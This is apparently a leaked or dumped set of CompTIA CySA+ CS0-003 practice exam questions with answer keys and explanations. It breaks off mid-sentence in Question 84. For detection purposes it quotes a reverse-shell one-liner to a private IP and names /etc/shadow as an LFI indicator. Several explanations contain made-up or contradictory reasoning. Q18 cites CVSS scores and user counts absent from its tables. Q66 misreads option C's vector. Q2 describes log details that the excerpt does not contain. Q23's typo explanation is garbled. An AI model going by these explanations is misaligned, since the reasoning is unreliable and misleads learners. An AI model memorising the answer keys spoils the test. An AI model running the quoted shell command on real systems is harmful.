

# CompTIA

## Exam Questions CS0-003

CompTIA CySA+ Certification Beta Exam



### NEW QUESTION 1

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of- life date. Which of the following best describes a security analyst's concern?

- A. Any discovered vulnerabilities will not be remediated.
- B. An outage of machinery would cost the organization money.
- C. Support will not be available for the critical machinery
- D. There are no compensating controls in place for the OS.

**Answer:** A

#### Explanation:

A security analyst's concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst's role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21

### NEW QUESTION 2

A security analyst receives an alert for suspicious activity on a company laptop An excerpt of the log is shown below:

Event #	Process	Parent process
1	Console Windows Host (conhost.exe)	System (-)
2	Console Windows Host (conhost.exe)	Command Prompt (cmd.exe)
3	Windows Explorer (Explorer.exe)	Microsoft Outlook (outlook.exe)
4	Microsoft Outlook (outlook.exe)	Microsoft Word (winword.exe)
5	Microsoft Word (winword.exe)	PowerShell (powershell.exe)
6	Windows Explorer (Explorer.exe)	Google Chrome (chrome.exe)

Which of the following has most likely occurred?

- A. An Office document with a malicious macro was opened.
- B. A credential-stealing website was visited.
- C. A phishing link in an email was clicked
- D. A web browser vulnerability was exploited.

**Answer:** A

#### Explanation:

for the suspicious activity on the company laptop, as it reflects the common technique of using macros to execute PowerShell commands that download and run malware. A macro is a piece of code that can automate tasks or perform actions in an Office document, such as a Word file or an Excel spreadsheet. Macros can be useful and legitimate, but they can also be abused by threat actors to deliver malware or perform malicious actions on the system. A malicious macro can be embedded in an Office document that is sent as an attachment in a phishing email or hosted on a compromised website. When the user opens the document, they may be prompted to enable macros or content, which will trigger the execution of the malicious code. The malicious macro can then use PowerShell, which is a scripting language and command-line shell that is built into Windows, to perform various tasks, such as downloading and running malware from a remote URL, bypassing security controls, or establishing persistence on the system. The log excerpt shows that PowerShell was used to download a string from a URL using the WebClient.DownloadString method, which is a common way to fetch and execute malicious code from the internet. The log also shows that PowerShell was used to invoke an expression (iex) that contains obfuscated code, which is another common way to evade detection and analysis. The other options are not as likely as an Office document with a malicious macro was opened, as they do not match the evidence in the log excerpt. A credential-stealing website was visited is possible, but it does not explain why PowerShell was used to download and execute code from a URL. A phishing link in an email was clicked is also possible, but it does not explain what happened after the link was clicked or how PowerShell was involved. A web browser vulnerability was exploited is unlikely, as it does not explain why PowerShell was used to download and execute code from a URL.

### NEW QUESTION 3

A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread of malware that enters the network.

Which of the following metrics should the team lead include in the briefs?

- A. Mean time between failures
- B. Mean time to detect
- C. Mean time to remediate
- D. Mean time to contain

**Answer:** D

#### Explanation:

Mean time to contain is the metric that the cybersecurity team lead should include in the weekly executive briefs, as it measures how long it takes to stop the spread of malware that enters the network. Mean time to contain is the average time it takes to isolate and neutralize an incident or a threat, such as malware, from the time it is detected. Mean time to contain is an important metric for evaluating the effectiveness and efficiency of the incident response process, as well as the potential impact and damage of the incident or threat. A lower mean time to contain indicates a faster and more successful response, which can reduce the risk and cost of the incident or threat. Mean time to contain can also be compared with other metrics, such as mean time to detect or mean time to remediate, to identify gaps or areas for improvement in the incident response process.

**NEW QUESTION 4**

An organization recently changed its BC and DR plans. Which of the following would best allow for the incident response team to test the changes without any impact to the business?

- A. Perform a tabletop drill based on previously identified incident scenarios.
- B. Simulate an incident by shutting down power to the primary data center.
- C. Migrate active workloads from the primary data center to the secondary location.
- D. Compare the current plan to lessons learned from previous incidents.

**Answer:** A

**Explanation:**

Performing a tabletop drill based on previously identified incident scenarios is the best way to test the changes to the BC and DR plans without any impact to the business, as it is a low-cost and low-risk method of exercising the plans and identifying any gaps or issues. A tabletop drill is a type of BC/DR exercise that involves gathering key personnel from different departments and roles and discussing how they would respond to a hypothetical incident scenario. A tabletop drill does not involve any actual simulation or disruption of the systems or processes, but rather relies on verbal communication and documentation review. A tabletop drill can help to ensure that everyone is familiar with the BC/DR plans, that the plans reflect the current state of the organization, and that the plans are consistent and coordinated across different functions. The other options are not as suitable as performing a tabletop drill, as they involve more cost, risk, or impact to the business. Simulating an incident by shutting down power to the primary data center is a type of BC/DR exercise that involves creating an actual disruption or outage of a critical system or process, and observing how the organization responds and recovers. This type of exercise can provide a realistic assessment of the BC/DR capabilities, but it can also cause significant impact to the business operations, customers, and reputation. Migrating active workloads from the primary data center to the secondary location is a type of BC/DR exercise that involves switching over from one system or site to another, and verifying that the backup system or site can support the normal operations. This type of exercise can help to validate the functionality and performance of the backup system or site, but it can also incur high costs, complexity, and potential errors or failures. Comparing the current plan to lessons learned from previous incidents is a type of BC/DR activity that involves reviewing past experiences and outcomes, and identifying best practices or improvement opportunities. This activity can help to update and refine the BC/DR plans, but it does not test or validate them in a simulated or actual scenario

**NEW QUESTION 5**

A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

- A. /etc/ shadow
- B. curl localhost
- C. ; printenv
- D. cat /proc/self/

**Answer:** A

**Explanation:**

/etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host. LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on the web server into the output of a web application. LFI can be exploited to extract sensitive information from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI vulnerability to include this file into the web application output, they can obtain the credentials of the users on the web server. Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References:

- <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- <https://www.comptia.org/certifications/cybersecurity-analyst>
- <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 6**

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

- A. Data enrichment
- B. Security control plane
- C. Threat feed combination
- D. Single pane of glass

**Answer:** D

**Explanation:**

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References:

<https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>

**NEW QUESTION 7**

Which of the following is described as a method of enforcing a security policy between cloud customers and cloud services?

- A. CASB
- B. DMARC
- C. SIEM
- D. PAM

**Answer:** A

**Explanation:**

A CASB (Cloud Access Security Broker) is a security solution that acts as an intermediary between cloud users and cloud providers, and monitors and enforces security policies for cloud access and usage. A CASB can help organizations protect their data and applications in the cloud from unauthorized or malicious access, as well as comply with regulatory standards and best practices. A CASB can also provide visibility, control, and analytics for cloud activity, and identify and mitigate potential threats<sup>12</sup>

The other options are not correct. DMARC (Domain-based Message Authentication, Reporting and Conformance) is an email authentication protocol that helps email domain owners prevent spoofing and phishing attacks by verifying the sender's identity and instructing the receiver how to handle unauthenticated messages<sup>34</sup> SIEM (Security Information and Event Management) is a security solution that collects, aggregates, and analyzes log data from various sources across an organization's network, such as applications, devices, servers, and users, and provides real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks<sup>56</sup> PAM (Privileged Access Management) is a security solution that helps organizations manage and protect the access and permissions of users, accounts, processes, and systems that have elevated or administrative privileges. PAM can help prevent credential theft, data breaches, insider threats, and compliance violations by monitoring, detecting, and preventing unauthorized privileged access to critical resources<sup>78</sup>

**NEW QUESTION 8**

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

- A. PAM
- B. IDS
- C. PKI
- D. DLP

**Answer:** D

**Explanation:**

Data loss prevention (DLP) is a tool that can prevent the exposure of PII outside of an organization by monitoring, detecting, and blocking sensitive data in motion, in use, or at rest.

**NEW QUESTION 9**

Which of the following best describes the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m.?

- A. SLA
- B. LOI
- C. MOU
- D. KPI

**Answer:** A

**Explanation:**

SLA (Service Level Agreement) is the best term to describe the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m., as it reflects the agreement between a service provider and a customer that specifies the services, quality, availability, and responsibilities that are agreed upon. An SLA is a common type of document that is used in various industries and contexts, such as IT, telecom, cloud computing, or outsourcing. An SLA typically includes metrics and indicators to measure the performance and quality of the service, such as uptime, response time, or resolution time. An SLA also defines the consequences or remedies for any breaches or failures of the service, such as penalties, refunds, or credits. An SLA can help to manage customer expectations, formalize communication, improve productivity, and strengthen relationships. The other terms are not as accurate as SLA, as they describe different types of documents or concepts. LOI (Letter of Intent) is a document that outlines the main terms and conditions of a proposed agreement between two or more parties, before a formal contract is signed. An LOI is usually non-binding and expresses the intention or interest of the parties to enter into a future agreement. An LOI can help to clarify the key points of a deal, facilitate negotiations, or demonstrate commitment. MOU (Memorandum of Understanding) is a document that describes a mutual agreement or cooperation between two or more parties, without creating any legal obligations or commitments. An MOU is usually more formal than an LOI, but less formal than a contract. An MOU can help to establish a common ground, define roles and responsibilities, or outline expectations and goals. KPI (Key Performance Indicator) is a concept that refers to a measurable value that demonstrates how effectively an organization or individual is achieving its key objectives or goals. A KPI is usually quantifiable and specific, such as revenue growth, customer satisfaction, or employee retention. A KPI can help to track progress, evaluate performance, or identify areas for improvement.

**NEW QUESTION 10**

A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

- A. Credentialed network scanning
- B. Passive scanning
- C. Agent-based scanning
- D. Dynamic scanning

**Answer:** C

**Explanation:**

Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

**NEW QUESTION 10**

A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective?

- A. function w() { info=\$(ping -c 1 \$1 | awk -F "/" 'END{print \$1}') && echo "\$1 | \$info" }
- B. function x() { info=\$(geoiplookup \$1) && echo "\$1 | \$info" }
- C. function y() { info=\$(dig -x \$1 | grep PTR | tail -n 1 ) && echo "\$1 | \$info" }



D. function z() { info=\$(traceroute -m 40 \$1 | awk 'END{print \$1}') && echo "\$1 | \$info" }

**Answer:** B

**Explanation:**

The function that would help the analyst identify IP addresses from the same country is: function x() { info=\$(geoplookup \$1) && echo "\$1 | \$info" }  
 This function takes an IP address as an argument and uses the geoplookup command to get the geographic location information associated with the IP address, such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to the same country.

**NEW QUESTION 14**

A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>\$!  
 Which of the following is being attempted?

- A. RCE
- B. Reverse shell
- C. XSS
- D. SQL injection

**Answer:** B

**Explanation:**

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user's system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command:

sh -i >& /dev/udp/10.1.1.1/4821 0>\$!

This command is a shell script that creates a reverse shell connection from the target system to the remote user's system at IP address 10.1.1.1 and port 4821 using UDP protocol.

**NEW QUESTION 17**

Security analysts review logs on multiple servers on a daily basis. Which of the following implementations will give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually?

- A. Deploy a database to aggregate the logging.
- B. Configure the servers to forward logs to a SIEM
- C. Share the log directory on each server to allow local access,
- D. Automate the emailing of logs to the analysts.

**Answer:** B

**Explanation:**

The best implementation to give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually is B. Configure the servers to forward logs to a SIEM.

A SIEM (Security Information and Event Management) is a security solution that helps organizations detect, analyze, and respond to security threats before they disrupt business<sup>1</sup>. SIEM tools collect, aggregate, and correlate log data from various sources across an organization's network, such as applications, devices, servers, and users. SIEM tools also provide real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks<sup>2345</sup>.

By configuring the servers to forward logs to a SIEM, the security analysts can have a central view of potential threats and monitor security incidents across the corporate environment without logging in to the servers individually. This can save time, improve efficiency, and enhance security posture<sup>2345</sup>.

Deploying a database to aggregate the logging (A) may not provide the same level of analysis, correlation, and alerting as a SIEM tool. Sharing the log directory on each server to allow local access © may not be scalable or secure for a large number of servers. Automating the emailing of logs to the analysts (D) may not be timely or effective for real-time threat detection and response. Therefore, B is the best option among the choices given.

**NEW QUESTION 18**

Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below:

Vulnerability name	Description
inter.drop	Remote Code Execution (RCE)
slow.roll	Denial of Service (DoS)

System name	Vulnerability	Network segment
manning	slow.roll	internal
brees	inter.drop	internal
brady	inter.drop	external
rogers	slow.roll; inter.drop	isolated vlan

Which of the following should the security analyst prioritize for remediation?

- A. rogers
- B. brady
- C. bree
- D. manning

**Answer:** B

**Explanation:**

Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of  $9 \times 0.8 = 7.2$ , which is higher than any other system. Brady also has 500 affected users, which is more than any other system. Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.

**NEW QUESTION 20**

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

- A. PCI Security Standards Council
- B. Local law enforcement
- C. Federal law enforcement
- D. Card issuer

**Answer:** D

**Explanation:**

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: <https://www.pcisecuritystandards.org/>

**NEW QUESTION 23**

A security analyst at a company called ACME Commercial notices there is outbound traffic to a host IP that resolves to <https://office365password.acme.co>. The site's standard VPN logon page is [www.acme.com/logon](http://www.acme.com/logon). Which of the following is most likely true?

- A. This is a normal password change URL.
- B. The security operations center is performing a routine password audit.
- C. A new VPN gateway has been deployed
- D. A social engineering attack is underway

**Answer:** D

**Explanation:**

for the outbound traffic to a host IP that resolves to <https://office365password.acme.co>, while the site's standard VPN logon page is [www.acme.com/logon](http://www.acme.com/logon). A social engineering attack is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers. A common type of social engineering attack is phishing, which involves sending fraudulent emails or other messages that appear to come from a legitimate source, such as a company or a colleague, and lure the recipients into clicking on malicious links or attachments, or entering their credentials or other sensitive information on fake websites. In this case, the attackers may have registered a domain name that looks similar to the company's domain name, but with a typo ([office365](https://office365password.acme.co) instead of [office365](https://office365password.acme.co)), and set up a fake website that mimics the company's VPN logon page. The attackers may have also sent phishing emails to the company's employees, asking them to reset their passwords or log in to their VPN accounts using the malicious link. The security analyst should investigate the source and content of the phishing emails, and alert the employees not to click on any suspicious links or enter their credentials on any untrusted websites. Official References:

- > <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- > <https://www.comptia.org/certifications/cybersecurity-analyst>
- > <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 27**

An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?

- A. Beaconing
- B. Cross-site scripting
- C. Buffer overflow
- D. PHP traversal

**Answer:** A

**NEW QUESTION 31**

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

- A. Agree on the goals and objectives of the plan
- B. Determine the site to be used during a disaster
- C. Demonstrate adherence to a standard disaster recovery process
- C. Identity applications to be run during a disaster

**Answer:** A

**Explanation:**

The first step that should be performed when establishing a disaster recovery plan is to agree on the goals and objectives of the plan. The goals and objectives of the plan should define what the plan aims to achieve, such as minimizing downtime, restoring critical functions, ensuring data integrity, or meeting compliance requirements. The goals and objectives of the plan should also be aligned with the business needs and priorities of the organization and be measurable and achievable.

**NEW QUESTION 34**

While performing a dynamic analysis of a malicious file, a security analyst notices the memory address changes every time the process runs. Which of the following controls is most likely preventing the analyst from finding the proper memory address of the piece of malicious code?

- A. Address space layout randomization
- B. Data execution prevention
- C. Stack canary
- D. Code obfuscation

**Answer:** A

**Explanation:**

The correct answer is A. Address space layout randomization.

Address space layout randomization (ASLR) is a security control that randomizes the memory address space of a process, making it harder for an attacker to exploit memory-based vulnerabilities, such as buffer overflows<sup>1</sup>. ASLR can also prevent a security analyst from finding the proper memory address of a piece of malicious code, as the memory address changes every time the process runs<sup>2</sup>.

The other options are not the best explanations for why the memory address changes every time the process runs. Data execution prevention (B) is a security control that prevents code from being executed in certain memory regions, such as the stack or the heap<sup>3</sup>. Stack canary © is a security technique that places a random value on the stack before a function's return address, to detect and prevent stack buffer overflows. Code obfuscation (D) is a technique that modifies the source code or binary of a program to make it more difficult to understand or reverse engineer. These techniques do not affect the memory address space of a process, but rather the execution or analysis of the code.

**NEW QUESTION 38**

Which of the following best describes the process of requiring remediation of a known threat within a given time frame?

- A. SLA
- B. MOU
- C. Best-effort patching
- D. Organizational governance

**Answer:** A

**Explanation:**

An SLA (Service Level Agreement) is a contract or agreement between a service provider and a customer that defines the expected level of service, performance, quality, and availability of the service. An SLA also specifies the responsibilities, obligations, and penalties for both parties in case of non-compliance or breach of the agreement. An SLA can help organizations to ensure that their security services are delivered in a timely and effective manner, and that any security incidents or vulnerabilities are addressed and resolved within a specified time frame. An SLA can also help to establish clear communication, expectations, and accountability between the service provider and the customer<sup>12</sup>.

An MOU (Memorandum of Understanding) is a document that expresses a mutual agreement or understanding between two or more parties on a common goal or objective. An MOU is not legally binding, but it can serve as a basis for future cooperation or collaboration. An MOU may not be suitable for requiring remediation of a known threat within a given time frame, as it does not have the same level of enforceability, specificity, or measurability as an SLA.

Best-effort patching is an informal and ad hoc approach to applying security patches or updates to systems or software. Best-effort patching does not follow any defined process, policy, or schedule, and relies on the availability and discretion of the system administrators or users. Best-effort patching may not be effective or efficient for requiring remediation of a known threat within a given time frame, as it does not guarantee that the patches are applied correctly, consistently, or promptly. Best-effort patching may also introduce new risks or vulnerabilities due to human error, compatibility issues, or lack of testing.

Organizational governance is the framework of rules, policies, procedures, and processes that guide and direct the activities and decisions of an organization. Organizational governance can help to establish the roles, responsibilities, and accountabilities of different stakeholders within the organization, as well as the goals, values, and principles that shape the organizational culture and behavior. Organizational governance can also help to ensure compliance with internal and external standards, regulations, and laws. Organizational governance may not be sufficient for requiring remediation of a known threat within a given time frame, as it does not specify the details or metrics of the service delivery or performance. Organizational governance may also vary depending on the size, structure, and nature of the organization.

**NEW QUESTION 42**

Which of the following best describes the reporting metric that should be utilized when measuring the degree to which a system, application, or user base is affected by an uptime availability outage?

- A. Timeline
- B. Evidence
- C. Impact
- D. Scope

**Answer:** C

**Explanation:**

The correct answer is C. Impact.

The impact metric is the best way to measure the degree to which a system, application, or user base is affected by an uptime availability outage. The impact metric quantifies the consequences of the outage in terms of lost revenue, productivity, reputation, customer satisfaction, or other relevant factors. The impact metric can help prioritize the recovery efforts and justify the resources needed to restore the service<sup>1</sup>.

The other options are not the best ways to measure the degree to which a system, application, or user base is affected by an uptime availability outage. The timeline metric (A) measures the duration and frequency of the outage, but not its effects. The evidence metric (B) measures the sources and types of data that can be used to investigate and analyze the outage, but not its effects. The scope metric (D) measures the extent and severity of the outage, but not its effects.

**NEW QUESTION 43**

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?

- A. Deploy a CASB and enable policy enforcement
- B. Configure MFA with strict access
- C. Deploy an API gateway
- D. Enable SSO to the cloud applications

**Answer:** A

**Explanation:**

A cloud access security broker (CASB) is a tool that can help reduce the risk of shadow IT in the enterprise by providing visibility and control over cloud applications and services. A CASB can enable policy enforcement by blocking unauthorized or risky cloud applications, enforcing data loss prevention rules, encrypting sensitive data, and detecting anomalous user behavior.

**NEW QUESTION 44**

Which of the following items should be included in a vulnerability scan report? (Choose two.)

- A. Lessons learned
- B. Service-level agreement
- C. Playbook
- D. Affected hosts
- E. Risk score
- F. Education plan

**Answer:** DE

**Explanation:**

A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official References: <https://www.first.org/cvss/>

**NEW QUESTION 46**

The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results?

- A. Single pane of glass
- B. Single sign-on
- C. Data enrichment
- D. Deduplication

**Answer:** D

**Explanation:**

Deduplication is a process that involves removing any duplicate or redundant data or information from a data set or source. Deduplication can help consolidate several threat intelligence feeds by eliminating any overlapping or repeated indicators of compromise (IoCs), alerts, reports, or recommendations. Deduplication can also help reduce the volume and complexity of threat intelligence data, as well as improve its quality, accuracy, or relevance.

**NEW QUESTION 49**

When starting an investigation, which of the following must be done first?

- A. Notify law enforcement
- B. Secure the scene
- C. Seize all related evidence
- D. Interview the witnesses

**Answer:** B

**Explanation:**

The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as any potential evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the investigation.

**NEW QUESTION 54**

A security analyst must preserve a system hard drive that was involved in a litigation request Which of the following is the best method to ensure the data on the device is not modified?

- A. Generate a hash value and make a backup image.
- B. Encrypt the device to ensure confidentiality of the data.
- C. Protect the device with a complex password.
- D. Perform a memory scan dump to collect residual data.

**Answer:** A

**Explanation:**

Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References: CompTIA CySA+ CS0-002 Certification Study Guide, page 3291

**NEW QUESTION 57**

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?

- A. External
- B. Agent-based



- C. Non-credentialed
- D. Credentialed

**Answer: B**

**Explanation:**

Agent-based vulnerability scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based vulnerability scanning can reduce network traffic, as the scans are performed locally and only the results are transmitted over the network. Agent-based vulnerability scanning can also provide more accurate and up-to-date results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

**NEW QUESTION 59**

A security analyst discovers an ongoing ransomware attack while investigating a phishing email. The analyst downloads a copy of the file from the email and isolates the affected workstation from the network. Which of the following activities should the analyst perform next?

- A. Wipe the computer and reinstall software
- B. Shut down the email server and quarantine it from the network.
- C. Acquire a bit-level image of the affected workstation.
- D. Search for other mail users who have received the same file.

**Answer: D**

**Explanation:**

Searching for other mail users who have received the same file is the best activity to perform next, as it helps to identify and contain the scope of the ransomware attack and prevent further damage. Ransomware is a type of malware that encrypts files on a system and demands payment for their decryption. Ransomware can spread through phishing emails that contain malicious attachments or links that download the ransomware. By searching for other mail users who have received the same file, the analyst can alert them not to open it, delete it from their inboxes, and scan their systems for any signs of infection. The other activities are not as urgent or effective as searching for other mail users who have received the same file, as they do not address the immediate threat of ransomware spreading or affecting more systems. Wiping the computer and reinstalling software may restore the functionality of the affected workstation, but it will also erase any evidence of the ransomware attack and make recovery of encrypted files impossible. Shutting down the email server and quarantining it from the network may stop the delivery of more phishing emails, but it will also disrupt normal communication and operations for the organization. Acquiring a bit-level image of the affected workstation may preserve the evidence of the ransomware attack, but it will not help to stop or remove the ransomware or decrypt the files.

**NEW QUESTION 64**

A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

- A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities
- B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation
- C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation
- D. Notify the SOC manager for awareness after confirmation that the activity was intentional

**Answer: B**

**Explanation:**

The best way to ensure that the investigation complies with HR or privacy policies is to ensure that the case details do not reflect any user-identifiable information, such as name, email address, phone number, or employee ID. This can help protect the privacy and confidentiality of the user and prevent any potential discrimination or retaliation. Additionally, password protecting the evidence and restricting access to personnel related to the investigation can help preserve the integrity and security of the evidence and prevent any unauthorized or accidental disclosure or modification.

**NEW QUESTION 66**

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:

Security Policy 1006: Vulnerability Management

\* 1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.

\* 2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.

\* 3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.

According to the security policy, which of the following vulnerabilities should be the highest priority to patch? A)

Name: THOR.HAMMER

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Internal System

B)

Name: CAP.SHIELD

CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

External System

C)

Name: LOKI.DAGGER

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

External System

D)

Name: THANOS.GAUNTLET

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Internal System

- A. Option A
- B. Option B
- C. Option C
- D. Option D

**Answer:** C

**Explanation:**

According to the security policy, the company shall use the CVSSv3.1 Base Score Metrics to prioritize the remediation of security vulnerabilities. Option C has the highest CVSSv3.1 Base Score of 9.8, which indicates a critical severity level. The company shall also prioritize confidentiality of data over availability of systems and data, and option C has a high impact on confidentiality (C:H). Finally, the company shall prioritize patching of publicly available systems and services over patching of internally available systems, and option C affects a public-facing web server. Official References: <https://www.first.org/cvss/>

**NEW QUESTION 70**

Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?

- A. Review Of security requirements
- B. Compliance checks
- C. Decomposing the application
- D. Security by design

**Answer:** C

**Explanation:**

The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities<sup>1</sup>. The other options are not part of the OWASP WSTG threat modeling process.

**NEW QUESTION 75**

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

- A. Access rights
- B. Network segmentation
- C. Time synchronization
- D. Invalid playbook

**Answer:** C

**Explanation:**

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

**NEW QUESTION 79**

A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands should the security analyst consider running?

- A. `grep [IP address] packets.pcap`
- B. `cat packets.pcap | grep [IP Address]`
- C. `tcpdump -n -r packets.pcap host [IP address]`
- D. `strings packets.pcap | grep [IP Address]`

**Answer:** C

**Explanation:**

tcpdump is a command-line tool that can capture and analyze network packets from a given interface or file. The -n option prevents tcpdump from resolving hostnames, which can speed up the analysis. The -r option reads packets from a file, in this case packets.pcap. The host [IP address] filter specifies that tcpdump should only display packets that have the given IP address as either the source or the destination. This command can help the security analyst detect connections to a suspicious IP address by collecting the packet captures from the gateway. Official References:

- > <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- > <https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers>
- > [https://www.reddit.com/r/CompTIA/comments/tmxx84/passed\\_cysa\\_heres\\_my\\_experience\\_and\\_how\\_i\\_s](https://www.reddit.com/r/CompTIA/comments/tmxx84/passed_cysa_heres_my_experience_and_how_i_s)

**NEW QUESTION 84**

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario?

- A. Implement step-up authentication for administrators
- B. Improve employee training and awareness
- C. Increase password complexity standards
- D. Deploy mobile device management

**Answer:** B

**Explanation:**

The best security control to implement against sensitive information being disclosed via file sharing services is to improve employee training and awareness. Employee training and awareness can help educate employees on the risks and consequences of using file sharing services for sensitive information, as well as

